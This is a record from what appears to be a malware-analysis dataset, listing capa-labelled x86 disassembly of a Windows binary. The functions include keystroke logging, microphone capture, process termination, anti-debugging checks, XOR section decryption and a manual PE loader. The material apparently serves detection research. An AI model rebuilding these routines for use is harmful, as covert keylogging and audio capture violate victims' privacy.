joyce8/EMBER2024-capa huggingface dataset:
Function at 0x436320
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push ebx
push esi
mov esi, eax
mov ecx, 1
lea eax, [ebp - 0x1c]
mov bl, byte [edx + ecx - 1]
mov byte [eax], bl
inc ecx
inc eax
cmp ecx, 9
jne 0x436332
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
mov eax, esi
call fcn.00404c1c
push eax
call sub.kernel32.dll_CreateFileW
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x436407
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 8], 0xffffffff
jne 0x436383
mov byte [ebp - 1], 1
call fcn.00403e4c
jmp 0x43640e
push 2
push 0
push 0xfffffffffffffff8
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_SetFilePointer
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x4363ad
call sub.kernel32.dll_GetLastError
test eax, eax
je 0x4363ad
mov byte [ebp - 1], 1
call fcn.00403e4c
jmp 0x43640e
push 0
lea eax, [ebp - 0xc]
push eax
push 8
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_ReadFile
test eax, eax
je 0x4363cc
cmp dword [ebp - 0xc], 8
je 0x4363d7
mov byte [ebp - 1], 1
call fcn.00403e4c
jmp 0x43640e
lea edx, [ebp - 0x1c]
lea eax, [ebp - 0x14]
mov ecx, 8
call fcn.0040801c
mov byte [ebp - 1], al
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43640e
cmp dword [ebp - 8], 0xffffffff
je 0x436406
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_CloseHandle
ret
mov al, byte [ebp - 1]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x436a60
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
mov byte [ebp - 1], cl
mov esi, edx
mov ebx, eax
cmp byte [0x464d1c], 0
je 0x436a90
mov edx, 0xc8
mov eax, 0x32
call fcn.0040dc98
push eax
call sub.kernel32.dll_Sleep
cmp bl, 0x90
jne 0x436ad3
push 0x90
call sub.user32.dll_GetKeyState
and ax, 1
cmp al, 1
sbb ebx, ebx
inc ebx
lea eax, [ebp - 0x102]
push eax
call sub.user32.dll_GetKeyboardState
test bl, bl
je 0x436abe
and byte [ebp - 0x72], 0xfe
jmp 0x436ac2
or byte [ebp - 0x72], 1
lea eax, [ebp - 0x102]
push eax
call sub.user32.dll_SetKeyboardState
jmp 0x436b59
push 0
xor eax, eax
mov al, bl
push eax
call sub.user32.dll_MapVirtualKeyA
and al, 0xff
mov byte [ebp - 2], al
test si, si
jbe 0x436b59
mov eax, ebx
and eax, 0xff
bt dword [0x4624f8], eax
jae 0x436b29
mov eax, dword [ebp + 8]
push eax
mov ecx, 1
mov dl, byte [ebp - 2]
mov eax, ebx
call fcn.00436a14
pop ecx
cmp byte [ebp - 1], 0
je 0x436b54
mov eax, dword [ebp + 8]
push eax
mov ecx, 3
mov dl, byte [ebp - 2]
mov eax, ebx
call fcn.00436a14
pop ecx
jmp 0x436b54
mov eax, dword [ebp + 8]
push eax
xor ecx, ecx
mov dl, byte [ebp - 2]
mov eax, ebx
call fcn.00436a14
pop ecx
cmp byte [ebp - 1], 0
je 0x436b54
mov eax, dword [ebp + 8]
push eax
mov ecx, 2
mov dl, byte [ebp - 2]
mov eax, ebx
call fcn.00436a14
pop ecx
dec si
jne 0x436ae9
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x436b60
Capabilities:
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, eax
cmp byte [0x464d1c], 0
je 0x436b84
mov edx, 0xc8
mov eax, 0x32
call fcn.0040dc98
push eax
call sub.kernel32.dll_Sleep
push 0
xor eax, eax
mov al, bl
push eax
call sub.user32.dll_MapVirtualKeyA
and al, 0xff
mov edx, ebx
and edx, 0xff
bt dword [0x4624f8], edx
jae 0x436bb6
mov edx, dword [ebp + 8]
push edx
xor ecx, ecx
mov edx, eax
mov eax, ebx
call fcn.00436a14
pop ecx
pop ebx
pop ebp
ret
mov edx, dword [ebp + 8]
push edx
mov ecx, 2
mov edx, eax
mov eax, ebx
call fcn.00436a14
pop ecx
pop ebx
pop ebp
ret
Function at 0x438124
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x43812a
ret

Function at 0x43a114
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 0x2c]
push eax
call sub.kernel32.dll_GetSystemInfo
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 8]
dec ecx
js 0x43a165
lea eax, [ebp - 0x2c]
cmp word [eax + 0x20], 3
je 0x43a14c
mov eax, dword [edx + ecx*4]
bswap eax
shr eax, 8
mov dword [edx + ecx*4], eax
dec ecx
jns 0x43a13c
jmp 0x43a165
push ebx
xor ebx, ebx
mov eax, dword [edx + ecx*4]
mov bh, al
mov bl, ah
shr eax, 0x10
shl ebx, 8
mov bl, al
mov dword [edx + ecx*4], ebx
dec ecx
jns 0x43a14d
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x442734
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
mov ebx, eax
cmp dword [ebx + 0x14], 0xca
jne 0x442762
mov eax, ebx
call fcn.004431e8
cmp dword [ebx + 0x40], 0
je 0x44275b
mov dword [ebx + 0x14], 0xcf
mov eax, 1
pop ebx
ret
mov dword [ebx + 0x14], 0xcb
cmp dword [ebx + 0x14], 0xcb
jne 0x4427d3
mov edx, dword [ebx + 0x1b4]
cmp dword [edx + 0x10], 0
je 0x4427c5
cmp dword [ebx + 8], 0
je 0x442784
mov eax, ebx
mov edx, dword [eax + 8]
call dword [edx]
mov eax, ebx
mov edx, dword [eax + 0x1b4]
call dword [edx]
test eax, eax
jne 0x442796
xor eax, eax
pop ebx
ret
cmp eax, 2
je 0x4427c5
cmp dword [ebx + 8], 0
je 0x442777
cmp eax, 3
je 0x4427a9
dec eax
jne 0x442777
mov edx, dword [ebx + 8]
inc dword [edx + 4]
mov ecx, dword [edx + 4]
mov eax, dword [ebx + 8]
cmp ecx, dword [eax + 8]
jl 0x442777
mov edx, dword [ebx + 0x140]
add dword [eax + 8], edx
jmp 0x442777
mov ecx, dword [ebx + 0x90]
mov dword [ebx + 0x98], ecx
jmp 0x4427f1
cmp dword [ebx + 0x14], 0xcc
je 0x4427f1
mov eax, dword [ebx]
mov dword [eax + 0x14], 0x14
mov edx, dword [ebx + 0x14]
mov dword [eax + 0x18], edx
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov eax, ebx
call fcn.004427fc
pop ebx
ret

Function at 0x453c48
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x14], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004048b8
mov esi, 0x464dd0
xor eax, eax
push ebp
push 0x453d9c
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [0x464dcc], 0
mov dl, 1
mov eax, dword [0x4149d4]
call fcn.00403680
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x453d77
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.004325f8
mov eax, dword [ebp - 8]
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
jne 0x453cb9
call fcn.00403e4c
jmp 0x453d7e
mov eax, dword [ebp - 8]
mov edx, dword [eax]
call dword [edx + 0x14]
dec eax
test eax, eax
jl 0x453d61
inc eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], 0
lea ecx, [ebp - 0x14]
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x14]
call fcn.00408660
mov dword [0x464dd4], eax
xor eax, eax
mov dword [esi], eax
xor ebx, ebx
mov eax, 0x4539a4
call fcn.00432e94
mov edi, eax
push 0x1f4
call sub.kernel32.dll_Sleep
cmp byte [0x464dcc], 0
je 0x453d1c
call fcn.00403e4c
jmp 0x453d7e
cmp ebx, dword [esi]
jne 0x453d4a
push 0
push edi
call sub.kernel32.dll_TerminateThread
mov eax, dword [0x464de0]
push eax
call sub.ntdll.dll_ZwClose
mov eax, dword [0x464ddc]
push eax
call sub.ntdll.dll_ZwClose
mov eax, dword [0x464de4]
call fcn.00402a48
jmp 0x453d55
mov ebx, dword [esi]
cmp byte [0x464dd8], 0
je 0x453d02
inc dword [ebp - 0xc]
dec dword [ebp - 0x10]
jne 0x453cd5
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x453d7e
mov eax, dword [ebp - 8]
call fcn.004036b0
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x453da3
lea eax, [ebp - 0x14]
call fcn.004043ec
lea eax, [ebp - 4]
call fcn.004043ec
ret
Function at 0x458b5c
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004048b8
mov eax, dword [ebp - 8]
call fcn.004048b8
mov eax, dword [ebp - 0xc]
call fcn.004048b8
mov eax, dword [ebp + 0xc]
call fcn.004048b8
xor eax, eax
push ebp
push 0x458c98
push dword fs:[eax]
mov dword fs:[eax], esp
xor esi, esi
lea eax, [ebp - 0x10]
call fcn.0043448c
cmp dword [ebp + 0xc], 0
je 0x458bc1
lea eax, [ebp + 0xc]
mov ecx, dword [ebp + 0xc]
mov edx, 0x458cb0
call fcn.00404714
push 0
push 1
lea eax, [ebp - 4]
call fcn.00404920
mov ecx, eax
mov edx, dword [ebp + 0xc]
xor eax, eax
call fcn.00427eb4
mov edi, eax
test edi, edi
je 0x458c75
cmp dword [ebp - 8], 0
jne 0x458bf5
mov eax, dword [ebp - 0xc]
call fcn.004324d0
mov ebx, eax
jmp 0x458c0e
mov eax, dword [ebp - 0xc]
call fcn.004048c8
push eax
mov eax, dword [ebp - 8]
call fcn.004048c8
pop edx
call fcn.00433a7c
mov ebx, eax
push 0xa
call sub.kernel32.dll_Sleep
inc esi
cmp esi, 0xbb8
ja 0x458c75
test ebx, ebx
je 0x458be3
push 0x458cbc
mov ecx, 0x458cc0
xor edx, edx
mov eax, ebx
call fcn.00433a14
mov esi, eax
test esi, esi
je 0x458c75
mov dl, 1
mov eax, dword [0x4149d4]
call fcn.00403680
mov ebx, eax
mov edx, ebx
mov eax, esi
call fcn.00458650
mov edx, dword [ebp + 8]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x1c]
mov eax, ebx
call fcn.004036b0
push 0
push edi
push 0
push 1
call sub.kernel32.dll_OpenProcess
push eax
call sub.kernel32.dll_TerminateProcess
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x458c9f
lea eax, [ebp - 0x10]
mov edx, 4
call fcn.00404410
lea eax, [ebp + 0xc]
call fcn.004043ec
ret

Function at 0x459330
Capabilities:
Capture microphone audio

Disassembly:
push ebx
push esi
add esp, 0xfffffff4
mov esi, eax
xor ebx, ebx
mov eax, dword [0x463760]
mov dword [esp], eax
xor eax, eax
mov dword [esp + 4], eax
fild qword [esp]
fmul dword [0x45940c]
movzx eax, word [0x46376a]
shr eax, 3
mov dword [esp + 8], eax
fild dword [esp + 8]
fmulp st(1)
call fcn.00402e94
mov dword [0x465078], eax
mov eax, dword [0x465078]
call fcn.00402a18
mov dword [0x465074], eax
push 0x30000
push 0
push 0x459314
push 0x46375c
push esi
push 0x46507c
call sub.winmm.dll_waveInOpen
test eax, eax
jne 0x459401
mov eax, 0x20
call fcn.00402a18
mov dword [0x465070], eax
mov eax, dword [0x465070]
mov edx, dword [0x465074]
mov dword [eax], edx
mov edx, dword [0x465078]
mov dword [eax + 4], edx
push 0x20
mov eax, dword [0x465070]
push eax
mov eax, dword [0x46507c]
push eax
call sub.winmm.dll_waveInPrepareHeader
test eax, eax
jne 0x459401
push 0x20
mov eax, dword [0x465070]
push eax
mov eax, dword [0x46507c]
push eax
call sub.winmm.dll_waveInAddBuffer
test eax, eax
jne 0x459401
mov eax, dword [0x46507c]
push eax
call sub.winmm.dll_waveInStart
test eax, eax
jne 0x459401
mov bl, 1
mov eax, ebx
add esp, 0xc
pop esi
pop ebx
ret
Function at 0x459970
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.004048b8
xor eax, eax
push ebp
push 0x4599d3
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
mov edx, 0x4599e8
call fcn.004046d0
push 0
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 4]
call fcn.004046c8
push eax
lea eax, [ebp - 4]
call fcn.00404920
push eax
push ebx
call sub.kernel32.dll_WriteFile_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4599da
lea eax, [ebp - 4]
call fcn.004043ec
ret

Function at 0x4599ec
Capabilities:
Read file on windows
Read pipe

Disassembly:
push ebp
mov ebp, esp
push eax
mov eax, 8
add esp, 0xfffff004
push eax
dec eax
jne 0x4599f5
mov eax, dword [ebp - 4]
add esp, 0xfffffff8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov esi, ecx
mov edi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x459ab2
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.004043ec
mov dword [ebp - 0xc], 0x7fff
push edi
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 0xc]
push eax
push 0
push ebx
call sub.kernel32.dll_PeekNamedPipe
cmp dword [ebp - 8], 0
jbe 0x459a9c
push 0
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 0xc]
push eax
lea eax, [ebp - 0x800b]
push eax
push ebx
call sub.kernel32.dll_ReadFile
lea eax, [ebp - 0x800b]
push eax
lea eax, [ebp - 0x800b]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 4]
lea edx, [ebp - 0x800b]
mov ecx, 0x7fff
call fcn.004044dc
lea eax, [ebp - 4]
mov edx, dword [ebp - 8]
call fcn.004049f8
mov eax, esi
mov edx, dword [ebp - 4]
call fcn.00404440
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x459ab9
lea eax, [ebp - 4]
call fcn.004043ec
ret
Function at 0x45a81c
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
mov ecx, 6
push 0
push 0
dec ecx
jne 0x45a824
push ecx
push ebx
push esi
push edi
mov ebx, eax
xor eax, eax
push ebp
push 0x45a990
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x14]
call fcn.00433450
mov edx, dword [ebp - 0x14]
lea eax, [ebp - 0x10]
call fcn.00404c0c
mov edx, dword [ebp - 0x10]
mov ecx, 0x45a9a4
mov eax, ebx
call fcn.00431d00
mov eax, ebx
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
jle 0x45a940
mov eax, ebx
mov edx, dword [eax]
call dword [edx + 0x14]
dec eax
test eax, eax
jl 0x45a940
inc eax
mov dword [ebp - 8], eax
xor esi, esi
cmp byte [0x4650d8], 0
jne 0x45a940
mov eax, ebx
mov edx, dword [eax]
call dword [edx + 0x14]
lea edx, [ebp - 0x1c]
call fcn.00408524
push dword [ebp - 0x1c]
push 0x45a9b8
lea ecx, [ebp - 0x20]
mov edx, esi
mov eax, ebx
mov edi, dword [eax]
call dword [edi + 0xc]
push dword [ebp - 0x20]
push 0x45a9b8
lea ecx, [ebp - 0x2c]
mov edx, esi
mov eax, ebx
mov edi, dword [eax]
call dword [edi + 0xc]
mov eax, dword [ebp - 0x2c]
lea edx, [ebp - 0x28]
call fcn.0043319c
mov eax, dword [ebp - 0x28]
lea edx, [ebp - 0x24]
call fcn.00434a98
push dword [ebp - 0x24]
lea eax, [ebp - 0x18]
mov edx, 5
call fcn.00404788
mov eax, dword [ebp - 0x18]
lea ecx, [ebp - 4]
mov dx, 0x3f6
call fcn.00435458
lea eax, [ebp - 4]
call fcn.0043539c
cmp ax, 0x3f7
jne 0x45a940
lea ecx, [ebp - 0x34]
mov edx, esi
mov eax, ebx
mov edi, dword [eax]
call dword [edi + 0xc]
mov eax, dword [ebp - 0x34]
lea edx, [ebp - 0x30]
call fcn.0043319c
mov eax, dword [ebp - 0x30]
call fcn.00404c1c
push eax
call sub.kernel32.dll_DeleteFileW
inc esi
dec dword [ebp - 8]
jne 0x45a88a
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45a997
lea eax, [ebp - 0x34]
call fcn.004043ec
lea eax, [ebp - 0x30]
call fcn.00404a8c
lea eax, [ebp - 0x2c]
call fcn.004043ec
lea eax, [ebp - 0x28]
call fcn.00404a8c
lea eax, [ebp - 0x24]
mov edx, 5
call fcn.00404410
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.00404aa4
lea eax, [ebp - 4]
call fcn.004043ec
ret
Function at 0x510024
Capabilities:
Packed with generic packer

Disassembly:
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [edx], al
add al, byte [eax]
add byte [eax], al
cld
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add al, byte [eax]
add byte [eax], al
cld
invalid
stc
jb 0x51002e
pop ds
xor esi, dword [ecx - 0x49]
jno 0x50ffe2
cwde
leave
jmp 0x51008f
pushal
jmp 0x510034
call 0x51003f
dec ecx
stc
mov dl, 0xed
pop ecx
pop ebx
jb 0x510049
jne 0x50ffd9
jge 0x510029
sbb dword [edx - 0x383c7edc], 0xffffffff
invalid
add ebx, 0xffffffc7
jmp 0x510058
cmp dword [ebx], 0
stc
jmp 0x510067
je 0x5100ed
jmp 0x510076
mov ecx, ebx
jmp 0x510081
add ebx, 4
jmp 0x510089
mov edx, dword [ebx]
jmp 0x510097
and eax, 0x8ced9cec
in eax, dx
cmp ebp, dword [ebx + 3]
sar ecx, cl
add edx, ebx
stc
jb 0x5100a3
mov ah, 0xb1
mov ebx, 0xc91a740d
mov eax, dword [ebx + 4]
jmp 0x5100ac
sub dword [edx], 0x3c62176a
jmp 0x5100b6
add edx, 4
jmp 0x5100bf
sub eax, 1
jmp 0x5100c6
jne 0x5100a6
jmp 0x5100d0
add ebx, 8
jmp 0x5100d7
sub dword [ecx], 1
stc
jb 0x5100de
and ecx, dword [edi]
test dword [eax + 0x72ffffff], esp
add dh, byte [ecx + 0xee83b]
add byte [eax], al
jne 0x510084
jb 0x5100e8
mov cl, 0x3b
call 0x5100fb
jmp 0x5100f1
popal
jmp 0x5100f6
jmp 0x50ed00

Function at 0x433003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..reloc
nop
nop
mov ebx, 0x40de38
nop
mov ecx, 0x1e504351
nop
nop
nop
test eax, eax
nop
je 0x43304e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x433024
nop
nop
nop
mov eax, section..rdata
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x10671d8b
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x433084
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x40d8c5
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x40d962
push ebx
push esi
call fcn.0040d88e
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0040d7d7
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x40d90f
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40d961
push edi
push eax
call fcn.0040e161
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x40d92f
call fcn.0040c3e7
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40d960
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0040d7d7
add esp, 0x20
test eax, eax
jne 0x40d94e
push edi
call fcn.0040c3e7
jmp 0x40d956
push ebx
call fcn.0040c3e7
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x40e1af
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x65], 0x35
mov byte [ebp - 0x64], 0x34
mov byte [ebp - 0x63], 0x20
mov byte [ebp - 0x62], 0x2d
mov byte [ebp - 0x61], 0x11
mov byte [ebp - 0x60], 0x33
mov byte [ebp - 0x5f], 0x2e
mov byte [ebp - 0x5e], 0x35
mov byte [ebp - 0x5d], 0x24
mov byte [ebp - 0x5c], 0x22
mov byte [ebp - 0x5b], 0x35
mov byte [ebp - 0x5a], 0x41
call fcn.0040dde8
push eax
push esi
push dword [ebp + 8]
call fcn.0040dd9d
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2c], bl
push eax
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x67
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x4a
mov byte [ebp - 0x25], 0x4f
mov byte [ebp - 0x24], 0x67
mov byte [ebp - 0x23], 0x42
mov byte [ebp - 0x22], 0x49
mov byte [ebp - 0x21], 0x59
mov byte [ebp - 0x20], 0x4a
mov byte [ebp - 0x1f], 0x59
mov byte [ebp - 0x1e], 0x52
mov byte [ebp - 0x1d], 0x6a
mov byte [ebp - 0x1c], 0x2b
call fcn.0040dde8
push eax
push esi
push dword [ebp + 8]
call fcn.0040dd9d
add esp, 0x30
mov dword [ebp - 0xb8], eax
call fcn.0040ddd8
dec edx
cmp al, 0x4f
int 0x88
popfd
jl 0x40e25d
invalid
invalid
Function at 0x40e2d7
Capabilities:
Inspect section memory permissions

Disassembly:
les edx, [eax]
mov dword [ebp - 0xc0], eax
push 0x40
push 0x1000
push dword [ebp + 0xc]
push ebx
call dword [ebp - 0x88]
mov esi, eax
cmp esi, ebx
je 0x40e5d1
push dword [ebp - 0xb4]
push dword [ebp + 0x10]
push esi
call fcn.0040dd49
add esp, 0xc
cmp word [edi + 6], bx
mov dword [ebp + 0xc], ebx
jbe 0x40e348
movzx eax, word [ebp + 0xc]
mov ecx, dword [ebp - 0x44]
lea eax, [eax + eax*4]
push dword [ecx + eax*8 + 0x10]
lea eax, [ecx + eax*8]
mov ecx, dword [eax + 0x14]
mov eax, dword [eax + 0xc]
add ecx, dword [ebp + 0x10]
add eax, esi
push ecx
push eax
call fcn.0040dd49
add esp, 0xc
inc dword [ebp + 0xc]
mov ax, word [ebp + 0xc]
cmp ax, word [edi + 6]
jb 0x40e315
call fcn.0040ddd8
add dl, byte [edx + 0x6c]
or byte [ebx - 0x1fcc382], cl
mov dword [ebp - 0x88], edi
mov eax, dword [edi + 0x80]
cmp eax, ebx
je 0x40e5c7
add eax, esi
mov dword [ebp - 0x44], eax
cmp dword [eax + 4], ebx
jne 0x40e37d
cmp dword [eax + 0xc], ebx
je 0x40e420
mov edi, dword [eax + 0xc]
add edi, esi
push edi
call dword [ebp - 0xc0]
mov dword [ebp + 0xc], eax
call fcn.0040ddd8
lea edi, [ebx + 0x37]
cmp dword [ebp + 0xc], ebx
jne 0x40e3ac
push edi
call dword [ebp - 0xb8]
cmp eax, ebx
mov dword [ebp + 0xc], eax
je 0x40e5c7
mov eax, dword [ebp - 0x44]
mov ecx, dword [eax + 0x10]
mov eax, dword [eax]
cmp eax, ebx
lea edi, [ecx + esi]
jne 0x40e3c0
mov dword [ebp + 0x10], edi
jmp 0x40e3c5
add eax, esi
mov dword [ebp + 0x10], eax
call fcn.0040ddd8
jno 0x40e444
xchg dh, dl
mov eax, dword [ebp + 0x10]
mov eax, dword [eax]
cmp eax, ebx
je 0x40e40e
test eax, 0x80000000
lea ecx, [eax + esi]
je 0x40e3e9
and eax, 0xffff
push eax
jmp 0x40e3ed
add ecx, 2
push ecx
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0040dd9d
add esp, 0xc
cmp edi, ebx
mov dword [edi], eax
je 0x40e5c7
add edi, 4
add dword [ebp + 0x10], 4
jmp 0x40e3ce
add dword [ebp - 0x44], 0x14
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp - 0x44]
jmp 0x40e36f
call fcn.0040ddd8
jae 0x40e3f0
mov ebx, dword [eax - 0x75]
xchg dword [eax + 0x3b000000], esp
ret
Function at 0x40e487
Capabilities:
Inspect section memory permissions

Disassembly:
cmp dword [eax], ebx
je 0x40e48c
mov edx, dword [eax + 4]
lea ecx, [eax + 8]
add edx, eax
mov dword [ebp + 8], ecx
cmp ecx, edx
jae fcn.0040e487
mov ecx, dword [ebp + 8]
movzx ecx, word [ecx]
mov edx, ecx
and edx, 0xf000
cmp edx, 0x3000
jne 0x40e471
and ecx, 0xfff
mov edx, esi
sub edx, dword [edi + 0x34]
add ecx, esi
add ecx, dword [eax]
add dword [ecx], edx
jmp 0x40e479
cmp edx, ebx
jne 0x40e5c7
mov ecx, dword [eax + 4]
add dword [ebp + 8], 2
add ecx, eax
cmp dword [ebp + 8], ecx
jb 0x40e448
add eax, dword [eax + 4]
jmp 0x40e435
mov dword [ebp + 0xc], ebx
jmp 0x40e497
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x40e4af
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp 0x40e4cd
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
mov edx, dword [edi + eax*8 + 0x108]
lea eax, [edi + eax*8 + 0xf8]
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, ecx
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja 0x40e52b
mov edx, edi
mov dword [ebp + 8], edi
and dword [ebp + 8], 0x40000000
mov dword [ebp + 0x10], edi
and edx, 0x20000000
and dword [ebp + 0x10], 0x80000000
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x40e512
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x40e51b
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x40e525
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe 0x40e507
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
mov cx, word [ebp + 0xc]
cmp cx, word [eax + 6]
jbe 0x40e491
mov dword [ebp + 8], esi
xor edi, edi
mov eax, dword [ebp + 0x18]
push 2
pop ecx
movzx eax, byte [edi + eax]
sub eax, ecx
je 0x40e578
dec eax
je 0x40e56f
sub eax, 3
je 0x40e566
mov dword [ebp - 4], 0x40
jmp 0x40e595
mov dword [ebp - 4], 4
jmp 0x40e57b
mov dword [ebp - 4], 0x20
jmp 0x40e57b
mov dword [ebp - 4], ecx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp - 0xac]
push dword [ebp + 8]
call dword [ebp - 0xbc]
invalid
test eax, eax
je 0x40e5c7
mov eax, dword [ebp - 0xac]
add dword [ebp + 8], eax
inc edi
cmp edi, dword [ebp - 0x8c]
jbe 0x40e547
mov eax, dword [ebp - 0x88]
mov edi, dword [eax + 0x28]
push 0x8000
push ebx
push esi
call dword [ebp - 8]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40fb45
Capabilities:
Contain obfuscated stackstrings

Disassembly:
pop ecx
